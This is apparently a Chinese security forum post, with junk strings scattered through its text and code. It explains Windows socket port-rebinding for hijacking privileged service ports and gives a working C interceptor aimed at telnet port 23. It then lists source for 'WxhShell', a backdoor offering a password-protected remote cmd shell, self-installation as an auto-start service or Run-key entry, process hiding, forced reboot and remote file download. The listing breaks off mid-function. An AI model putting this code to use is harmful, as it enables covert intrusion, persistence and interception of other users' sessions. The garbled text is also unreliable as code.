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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 18[?dV s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rsIt~w "K4X:|Om" saddr.sin_family = AF_INET; S 2{ ?W BDB zc5Q( saddr.sin_addr.s_addr = htonl(INADDR_ANY); uK"$=v6| ie$fMBIq bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K'{ wncumQ MJ*oeI!.= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n@yd{Rc 9M-NItFos 这意味着什么?意味着可以进行如下的攻击: Y(Z(dV!Po S7\|/h:4 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 nU">> 1!U d-A%ZAkE] 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) AW{/k'%xw `Tm8TZd66 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 tyGnG0GK ^{6UAT~!R 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 l*m]2"n] ~gzpX,{n 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hj#+8= H)?" 8 s 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]0/~6f
V,"AG 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \fQgiX 1W6n[Xg #include 5. +$v4 #include %_i0go,^ #include hQW#a]]V: #include $[^ KCNB DWORD WINAPI ClientThread(LPVOID lpParam);
=t>`<T|( int main() ZRVF{D??"% { -*]9Ma<wa WORD wVersionRequested; >Y*iy DWORD ret; SqT"/e]b' WSADATA wsaData; @Tj
6!v BOOL val; XQ|j5] SOCKADDR_IN saddr; QdG?"Bdt2 SOCKADDR_IN scaddr; X\^3,k." int err; #L1yL<' SOCKET s; .q;RNCUt SOCKET sc; XN 0RT>@ int caddsize; 802]M HANDLE mt; =f{Z~`3 DWORD tid; N;Gf,pE wVersionRequested = MAKEWORD( 2, 2 ); [/2@=Uh- err = WSAStartup( wVersionRequested, &wsaData ); 0,i+ if ( err != 0 ) { -7A!2mRiz printf("error!WSAStartup failed!\n"); A`r$fCt1Vi return -1; E%v[7 ST } sO f)/19 saddr.sin_family = AF_INET; A$Jn3Xd~! J4R //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5SPl#*W *rMN,B@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0"D?.E"$r saddr.sin_port = htons(23); #ui%=ja[:~ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `\/Wa h}I { HN&vk/[ printf("error!socket failed!\n"); X|QX1dl return -1; w|U@jr*H] } TJGKQyG$L val = TRUE; tX2>a //SO_REUSEADDR选项就是可以实现端口重绑定的 CB7R{~
$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^
8Nr %NJ { k3htHCf*G$ printf("error!setsockopt failed!\n"); zj$Z%|@$ return -1; a0v1LT6 } R/KWl^oNj //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I$P7%} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t)kr/Z*p\ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )~o`QM+ E(K$|k_> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) '5+, lRu { I{P$B- ret=GetLastError(); -B++V printf("error!bind failed!\n"); Z;> aW;Wt return -1; BDm H^`V } u/{_0-+P listen(s,2); U=*q;$L# while(1) zw;(:fgY# { M`g Kt(3 caddsize = sizeof(scaddr); 7*8nUq //接受连接请求 j2&OYg sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :r|P?;t( if(sc!=INVALID_SOCKET) p`V9+CA { j?` D\LZhf mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?9.? w-Q' if(mt==NULL) @X / =. { :$@zX]?M printf("Thread Creat Failed!\n"); Y~\xWYR break; kc/H } LAjw!QB } mjJlXA CloseHandle(mt); SEn8t"n } <PA$hTYM closesocket(s); pmXWI`s WSACleanup(); C3`.-/{D" return 0; K`mxb} } !"qEB2r DWORD WINAPI ClientThread(LPVOID lpParam) gM/_:+bT>P { BqJrL/( SOCKET ss = (SOCKET)lpParam; zqEZ+|c= SOCKET sc; jI pcMN< unsigned char buf[4096]; 6(;[ov1 SOCKADDR_IN saddr; p<.!::* %( long num; OaVL NA^{ DWORD val; <@2?2l+`X DWORD ret; /? <9,7#i //如果是隐藏端口应用的话,可以在此处加一些判断 Sf8Xj|u //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 rEyMSLN saddr.sin_family = AF_INET; W2V@\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +/^q"/f F saddr.sin_port = htons(23); &b:Zln.j if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #B{F{,vlu, { =$`")3y3 printf("error!socket failed!\n"); (#>5j7i8# return -1; .6]cu{K( } W;j)ux7jMY val = 100; ntUVhIE0 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !Kn+*' # { cF6@.) ret = GetLastError(); (>% Vj return -1; )FiU1E } .Sth if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %JU23c* { a*@Z^5f ret = GetLastError(); _J#Hq 'K return -1; aQ3vG08L> } iw6M3g# if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) I(eR3d: { 1>*<K/\qg printf("error!socket connect failed!\n"); &?6~v
closesocket(sc);
j7%%/%$o[ closesocket(ss); trA `l/ return -1; EG=>F1&M } ;5S7_p2]j while(1) SVeU7Q6- { ^,r;/c9A8 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 NWX%0PGZ //如果是嗅探内容的话,可以再此处进行内容分析和记录 =|^W]2W$ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B3=/iOb# num = recv(ss,buf,4096,0); lY8Qy2k| if(num>0) /60=N`i
send(sc,buf,num,0); !,WRXE&j else if(num==0) F}mwQ%M break; t$Ji{t- num = recv(sc,buf,4096,0); Z%d4V<fn if(num>0) ]nGA1 S{ send(ss,buf,num,0); @k;3$ else if(num==0) DxG'/5jQ[ break; Y\F H4}\S } ijSYQ closesocket(ss); Y'":OW#oN closesocket(sc); DdW8~yI& return 0 ; 745PCC'FK } %&S]cEw 0|k[Wha# /9gMcn9EB ========================================================== =hb87g. atnbM:t 下边附上一个代码,,WXhSHELL %zVv3p: (8/xSOZ[ ========================================================== |W[rywxx ImW~Jy #include "stdafx.h" UeTp, ?=Qg #include <stdio.h> clV/i&]Qa #include <string.h> %Q01EjRes #include <windows.h> vK/Z9wR*05 #include <winsock2.h> WWzns[$f #include <winsvc.h> ,RH986,6V #include <urlmon.h> 7i\[Q8f zL}DLfy>R #pragma comment (lib, "Ws2_32.lib") b .@dUuKz- #pragma comment (lib, "urlmon.lib")
K~N[^pF H*<dte< #define MAX_USER 100 // 最大客户端连接数 U}TQXYAg #define BUF_SOCK 200 // sock buffer a_j#l(] 9 #define KEY_BUFF 255 // 输入 buffer p
=O1aM ?Cl"jcQ* #define REBOOT 0 // 重启 D~);:}}> #define SHUTDOWN 1 // 关机 "Vy\- ^ b8Sl3F?-~ #define DEF_PORT 5000 // 监听端口 u>@G:kt8 %gB0D8,vo #define REG_LEN 16 // 注册表键长度 <\NXCUqDpo #define SVC_LEN 80 // NT服务名长度 _JB3+0@ ?`iBp+iBv // 从dll定义API =v;@w$# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9&jNdB typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z k_&Kw| typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W{2y*yqY typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .w"O/6." M6n.uho/ // wxhshell配置信息 fR{7780WZ struct WSCFG { s_$@N! int ws_port; // 监听端口 XS@6jbLE char ws_passstr[REG_LEN]; // 口令 A}O9e int ws_autoins; // 安装标记, 1=yes 0=no D7wWk
,B char ws_regname[REG_LEN]; // 注册表键名 e70*y'1fu char ws_svcname[REG_LEN]; // 服务名 %oQj^r!Xd char ws_svcdisp[SVC_LEN]; // 服务显示名 1EB`6_>y char ws_svcdesc[SVC_LEN]; // 服务描述信息 s^<
oU char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {%dQV#'c int ws_downexe; // 下载执行标记, 1=yes 0=no "=O)2} char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" }R(_^@] char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P40eK0e6 S d -+a }; *8+YR ru
Lcu] // default Wxhshell configuration 21Opx~T3 struct WSCFG wscfg={DEF_PORT, /GNYv* "xuhuanlingzhe", Gd 9B 1, 0cVXUTJ|W "Wxhshell", K>~l6 "Wxhshell", l1-FL-1 "WxhShell Service", MR: {Ps&, "Wrsky Windows CmdShell Service", jiDYPYx;I "Please Input Your Password: ", F[Up 1, m5*RB1 " http://www.wrsky.com/wxhshell.exe", sIe(;%[` "Wxhshell.exe" $Vh82Id^ }; ':@qE\( X+jSB, // 消息定义模块 iddT. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /PlsF char *msg_ws_prompt="\n\r? for help\n\r#>"; xR3A4m char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; "a7d`l: char *msg_ws_ext="\n\rExit."; HF:PF"|3 char *msg_ws_end="\n\rQuit."; 8X5XwFf} char *msg_ws_boot="\n\rReboot..."; W1z5|-T char *msg_ws_poff="\n\rShutdown..."; =nl,5^ char *msg_ws_down="\n\rSave to "; fq'Of
wT oB@C-(M char *msg_ws_err="\n\rErr!"; h
!1c(UR char *msg_ws_ok="\n\rOK!"; d29HEu P^ VNB char ExeFile[MAX_PATH]; u ""=9>0 int nUser = 0; QO%K`}Q} HANDLE handles[MAX_USER]; h9mR+ng*oD int OsIsNt; WF7RMQ51j J0k~% SERVICE_STATUS serviceStatus; kp|reKM/ SERVICE_STATUS_HANDLE hServiceStatusHandle; =W=%!A\g #</yX5!V // 函数声明 xUUp?]9y int Install(void); Z:{Z&HQC int Uninstall(void); Z^'; xn int DownloadFile(char *sURL, SOCKET wsh); ' wEP:} int Boot(int flag); ]n_A~Yr void HideProc(void); jEadVM9 int GetOsVer(void); [0Sd +{Q int Wxhshell(SOCKET wsl); i`X{pEKP+ void TalkWithClient(void *cs); f~Su F,o@h int CmdShell(SOCKET sock); O(VV-n7U int StartFromService(void); jn'8F$GU int StartWxhshell(LPSTR lpCmdLine); z&8#1' ?.H*!u+9> VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m,b<b91 VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~[{| s') 9azPUf)
C // 数据结构和表定义 J.*=7zmw SERVICE_TABLE_ENTRY DispatchTable[] = w~`P\i@ { N
Jf''e3 {wscfg.ws_svcname, NTServiceMain}, 7pNh|#Uv' {NULL, NULL} h7{W-AtM7_ }; n9%rjS$ 4^r}&9C~ // 自我安装 ME.LS2'n int Install(void) }z[se)s { 0;9LIL5 char svExeFile[MAX_PATH]; sq%f%?(V HKEY key; &}oDSD
H^, strcpy(svExeFile,ExeFile); sgX~4W"J K(?7E6\vO // 如果是win9x系统,修改注册表设为自启动 20qT1!ju if(!OsIsNt) { PSE![whK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7?4>' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ni`qU(I'| RegCloseKey(key); 1/ HofiIa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JQb]mU%? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); udB}`<Q RegCloseKey(key); VC@o]t5 return 0; 4d#W[ } "](~VF[J8 } XxGm,A+>Ty } g!8-yri else { 9}=Fdt `fH6E8N // 如果是NT以上系统,安装为系统服务 G8SJ<\? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p=zjJ~DVd if (schSCManager!=0) U*Q$:%72vO { pd|s7 SC_HANDLE schService = CreateService 9Ah4N2nL-b ( JkKI/5h schSCManager, nm)F tX|A wscfg.ws_svcname, CAX U
# wscfg.ws_svcdisp, Bn.8wMB SERVICE_ALL_ACCESS, /1Eg6hf9B SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8WvT0q>] SERVICE_AUTO_START, }\@*A1*X2 SERVICE_ERROR_NORMAL, ~Oq(JM
$M svExeFile, '&`Zy pq NULL, *]LM2J NULL, NH{0KZ
R NULL, 30<^0J.1 NULL, bV"0}|A~K NULL YRK4l\_` ); =hA/; if (schService!=0) oyUf/Sl { ^71sIf;+ CloseServiceHandle(schService); qU"+0t4 CloseServiceHandle(schSCManager); d-Sm<XHu. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j8lbn |. strcat(svExeFile,wscfg.ws_svcname); M8h9i2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c9Cp!.#*E RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &0
@2JS/! RegCloseKey(key); I*X|pRD return 0; @~"0|,6VC } /as1 } 1&dWt_\ CloseServiceHandle(schSCManager); )T^hyi$ } `8L7pbS%,Q } rA9"CN |')Z; return 1; 3+)i23[4=\ } z=!xN5 (*|hlD~ // 自我卸载 k@[Bx> int Uninstall(void) :wIbKs.r { NJ|8##Z> HKEY key; GSk;~^l o/Z?/alt4 if(!OsIsNt) { O%)w!0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6JJ%`Uojh RegDeleteValue(key,wscfg.ws_regname); FsD}Nk=m~ RegCloseKey(key); P?>p+dM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =ahD'*R^A RegDeleteValue(key,wscfg.ws_regname); /@0wbA RegCloseKey(key); .6r&<* return 0; P5[.2y_qM } >]Y`-*vw& } 5RqkAC } rt f}4. else { 291v
R] <jxTI%'f59 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Up8#Nz
T if (schSCManager!=0) !bQ5CB { 0%v
p'v SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &7;W=uF if (schService!=0) w*
v%S { NJ3b Oq if(DeleteService(schService)!=0) { 'l2`05 CloseServiceHandle(schService); 9Czc$fSSt CloseServiceHandle(schSCManager); Ur_~yX]Mo return 0; m+CvU?)gJ } [N{Rd[{QTL CloseServiceHandle(schService); z55P~p } H1+G:TM CloseServiceHandle(schSCManager); uA,K}sNRZ } dqcfs/XhP } s@0#w*N r6"t`M return 1; PX+$Us } z1s9[5 x#U?~6.6 // 从指定url下载文件 WG9x_X&XJ int DownloadFile(char *sURL, SOCKET wsh) zDC-PHFHQ { rqifjsv HRESULT hr; s<n5^Vxy char seps[]= "/"; [5>0om5 char *token; e)O6k7U$ char *file; ^ygN/a>rr char myURL[MAX_PATH]; eQA89 :j, char myFILE[MAX_PATH]; xCGvLvFn k}~|jLu@g strcpy(myURL,sURL); f ~9ADb token=strtok(myURL,seps); @va6,^) while(token!=NULL) 7|*|xLrVY { ]^R;3kU4Q file=token; Jgb{Tl:r token=strtok(NULL,seps); '\P6NszY~ } VDBP]LRF 8MV=? GetCurrentDirectory(MAX_PATH,myFILE); 'xhX\?mD strcat(myFILE, "\\"); a>6!?:Rj strcat(myFILE, file); *SLv$A send(wsh,myFILE,strlen(myFILE),0); 5s`NR<|2L send(wsh,"...",3,0); [/6IEt3}B hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); njX!Ez if(hr==S_OK) 6*Rz}RQ return 0; Jva&"}Cb else [Cvo^cC return 1; hK3?m.>"g .(`#q@73 } [T.kwQf4$ D>PB|rS@ // 系统电源模块 xrS;06$ int Boot(int flag) 58{6k J@ { S+7>Y? B! HANDLE hToken; ?=-18@:.ss TOKEN_PRIVILEGES tkp; Od)]FvO )Yy`$` if(OsIsNt) { ?tSFM:9PU OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5'Y @c LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }qRYXjS tkp.PrivilegeCount = 1; xbSix:R=Z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L6O*aZ| AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7jvf:#\LtL if(flag==REBOOT) { 9ssTG4Sa if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ">j}!n
8J return 0; <%Bsb}h, } 9Y3_.qa(. else { c\065#f! if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >iDV8y return 0; `a*[@a# } Tm
6<^5t } S)T~vK(n else { iG!tRNQ{y if(flag==REBOOT) { Dqs{n?@n if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KQ9~\No] return 0; W c{<DE?J } )k&<D*5s else { \GO^2&g( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S=*rWh8)%< return 0; 7LbBS:@3z_ } <-D>^p9 } OTY9Q Usx8
U return 1; N`h, 2!(j }
:?S1#d_ V>>"nf,YO // win9x进程隐藏模块 ,6uON@ void HideProc(void) |#^wYZO1U { T@ (MSgp9 @FKm_q HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E3@G^Y if ( hKernel != NULL ) ^~'tQ}]!" { 2v\,sHw+- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `q@5d&d`j ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0z1m!tr FreeLibrary(hKernel); ~oWCTj- } 1Rg tZp% D2z" Z@ return; 7o_1PwKS6 } j^-E,YMC mnh>gl!l // 获取操作系统版本 >4
4A int GetOsVer(void) N_Q)AXr) { P:,' OSVERSIONINFO winfo; >\6Tm winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P/6$T2k_ GetVersionEx(&winfo); SVB> 1s9F if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q~ ]S5 return 1; ux`)jOQ`Y] else <&^P1x<x return 0; _4Z|O] } jM]B\cvN Aru=f~! // 客户端句柄模块 FOV%\=Hl int Wxhshell(SOCKET wsl) C-O~Oi l { <#/r.}.x SOCKET wsh; k<(G)7'gm struct sockaddr_in client; HI&N&a9C DWORD myID; xMsSZ{j%5 .$&mWytw= while(nUser<MAX_USER) =;Ap+} { s&&8~
)H int nSize=sizeof(client); 5-qk"@E W wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v<CZ.-r\j if(wsh==INVALID_SOCKET) return 1; &B?TX. OCHjQc handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Bu7Ztt* if(handles[nUser]==0) {,xI|u2R closesocket(wsh); @D1}). else *9Ta0e* nUser++; w{TZN{Y } {x_SnZz & WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #@%DY*w]v iXLODuI return 0; kd55y } qV]p\/a.
ja !K2^ // 关闭 socket oE/g)m% void CloseIt(SOCKET wsh) ^#i3JMq { 9lXjB_wG> closesocket(wsh); } V * nUser--; \"k[y+O],4 ExitThread(0); I
"Qf};n } |p_\pa1&
^V6cx2M // 客户端请求句柄 'C[{cr.` void TalkWithClient(void *cs) eV(nexE { [u*-~( H#/ #yVw SOCKET wsh=(SOCKET)cs; Yx#?lA2gx char pwd[SVC_LEN]; im,H|u_f4 char cmd[KEY_BUFF]; f
wE
b char chr[1]; z3-A2#c int i,j; j}s<Pn%4 : ;l9to while (nUser < MAX_USER) { lQ&"p+n y0}3s)lKv if(wscfg.ws_passstr) { fhwJ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D@W[Nd5MJ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M$J{clr //ZeroMemory(pwd,KEY_BUFF); 2><=U7~ i=0; /6fa
7; while(i<SVC_LEN) { X%X`o%AqC n1XJuc~ // 设置超时 mH`K~8pRg fd_set FdRead; l 7T@<V struct timeval TimeOut; ?58,Ja FD_ZERO(&FdRead); |; [XZ ZZ FD_SET(wsh,&FdRead); p9X{E%A<: TimeOut.tv_sec=8; r<MW8 TimeOut.tv_usec=0; {4]sJT int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v[l={am{/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); meF.`fh OkNBP0e} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v79k{<Ln pwd =chr[0]; WNnB
s if(chr[0]==0xd || chr[0]==0xa) { b;;mhu[D pwd=0; )70i/%}7 break; reP)&Fo } VsU*yG a i++; o|en"?4 } /E %^s3S. g$/C-j4A[ // 如果是非法用户,关闭 socket !=)b2}e/> if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [[XbKg`"? } h/goV {)`tN&\ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XfZ^,'z send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {D{'
\]+ 18eB\4NlD while(1) { 9B)<7JJX!J 0 k(su
ZeroMemory(cmd,KEY_BUFF); 'G)UIjl QJ4=*tX) // 自动支持客户端 telnet标准 ztEM>xsk j=0; / biB*Z while(j<KEY_BUFF) { N+N98~Y`P if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Dve+ #H6N cmd[j]=chr[0]; "L9yG: if(chr[0]==0xa || chr[0]==0xd) { 0FAe5
BE7
cmd[j]=0; 9 $&$Fe break; -bP_jIZF;g } uN;]Fv@Z j++; Ss~yy0 } q?##S' ;h~v,h // 下载文件 sx^0*h-Qq if(strstr(cmd,"http://")) { a(#aEbN?d send(wsh,msg_ws_down,strlen(msg_ws_down),0); <rn26Gfr if(DownloadFile(cmd,wsh)) zn)Kl%N^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); "?HDv WP=w else "3;b,<0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2kfX_RK } )` z{T else { ,9.-A-Yw UJ?qGOM3x> switch(cmd[0]) { w,x'FZD '$0~PH& // 帮助 w D}g\{P case '?': { /idrbc send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *Dhy a g break; o+0x1Ct3P } hk.vBbhs // 安装 o;"Phc. case 'i': { PdD,~N# if(Install()) ;RzbPlkl send(wsh,msg_ws_err,strlen(msg_ws_err),0); V;IV2HT0J" else _&R lR send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #qDMUN*i break; (:r80: } %~rXJrK // 卸载 ym*oCfu= case 'r': { xH4Qv[k
Q7 if(Uninstall()) aovw'O\Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); L ]Y6/Q else Z=.$mFE\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CzfGb4 break; %1Nank!Zj } 7 (kC|q\4M // 显示 wxhshell 所在路径 _O;2.M%@ case 'p': { hdN[wC] char svExeFile[MAX_PATH]; p*C| kE qk strcpy(svExeFile,"\n\r"); ;7*R ;/ strcat(svExeFile,ExeFile); G?dxLRy.do send(wsh,svExeFile,strlen(svExeFile),0); ZW@%>_JR] break; = P@j*ix } n\w2e_g;N // 重启 YwaWhBCIF case 'b': { ^W%#Elf) send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (iJ9ekB if(Boot(REBOOT)) 3aUWQP2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); zI{~;`tzN else { vE{L `,\q closesocket(wsh); PC)aVr?@@ ExitThread(0); krMO<(x+ } Ba#wW
E break; chakp!S= } Vk:] aveW // 关机 .8dlf7* , case 'd': { oY<R[NYKu send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2Fc>6]:* if(Boot(SHUTDOWN)) P}~nL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f >$V:e([
else { )8&;Q9'o closesocket(wsh); %U?1Gf e ExitThread(0); G7NRpr } q+{$"s9v break; B&rw R/d } YT~h1<se // 获取shell $!v:@vNMs case 's': { HY2*5#T CmdShell(wsh); g:eqB&& closesocket(wsh); ^\Epz*cL ExitThread(0); e1/{bX5 break; AU4K$hC^ } t.pn07$ // 退出 DIBoIWSuR case 'x': { AlA:MO]NM send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f)19sjAJk CloseIt(wsh); ~A@HW!*Z@ break; lPZYd8 } +x]3 -s // 离开 H;c3 x" case 'q': { vf;&0j&` send(wsh,msg_ws_end,strlen(msg_ws_end),0); bae\EaS
? closesocket(wsh); \e9rXh% WSACleanup(); d#1yVdqRl exit(1); SIZZFihcYh break; Fk#$@^c@ } 4Kh0evZ } bPA >xAH } #?C.%kD 2y5d // 提示信息 mX5%6{], if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;~-M$a
}4 } B+2EIaI } @hwe sR;u#". return; Xv<K>i>k } ({0:1*lF@ *CCh\+S7m // shell模块句柄 VT [TE int CmdShell(SOCKET sock) -?p4"[ { {Jc.49 STARTUPINFO si; Om_-#S ZeroMemory(&si,sizeof(si)); ;<l#k7 / si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >
JV$EY, si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YL&)@h PROCESS_INFORMATION ProcessInfo; Q!y%N& char cmdline[]="cmd"; `8/D$ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J%FF@.)k return 0; ;6M [d } K$KVm^` lWakyCS // 自身启动模式 {I8C&GS int StartFromService(void) W1_.wN$,5 { /|m0)H.> typedef struct X]}:WGFM { &embAqW: DWORD ExitStatus; k}]M`ad DWORD PebBaseAddress; hsHbT^Qm DWORD AffinityMask; *RM 3_ DWORD BasePriority; L6./5`bs ULONG UniqueProcessId; xF6byTi ULONG InheritedFromUniqueProcessId; l5/gM[0_7 } PROCESS_BASIC_INFORMATION; B \LmE+a> SW}?y%~ PROCNTQSIP NtQueryInformationProcess; `\$EPUM MdDL?ev static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5?q6g static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y94S!TbB #z+?t HANDLE hProcess; &B\ sG= PROCESS_BASIC_INFORMATION pbi; '
